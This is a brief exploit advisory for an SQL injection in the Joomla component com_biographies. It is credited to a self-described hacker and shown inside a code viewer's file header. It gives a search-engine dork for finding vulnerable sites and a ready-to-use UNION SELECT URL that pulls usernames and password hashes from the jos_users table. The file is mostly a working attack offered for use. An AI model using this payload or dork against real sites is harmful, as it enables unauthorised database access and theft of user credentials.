12 lines
No EOL
532 B
Text
12 lines
No EOL
532 B
Text
#--------------------------------------------------------
|
|
#Joomla (com_biographies) SQL injection Vulnerability
|
|
#--------------------------------------------------------
|
|
#Discovered By: Snakespc ALGERIAN HaCkEr
|
|
#Mail: snakespc@gmail.com
|
|
#site:anti-sec.info/vb/index.php
|
|
#-------------------------------------------------------
|
|
#Dork:inurl"com_biographies"
|
|
#Exploit:
|
|
#--------
|
|
#Demo:
|
|
#http://server/index.php?option=com_biographies&task=showFile&biobookid=-5+union+all+select+1,2,3,concat(username,0x3a,password)+from+jos_users-- |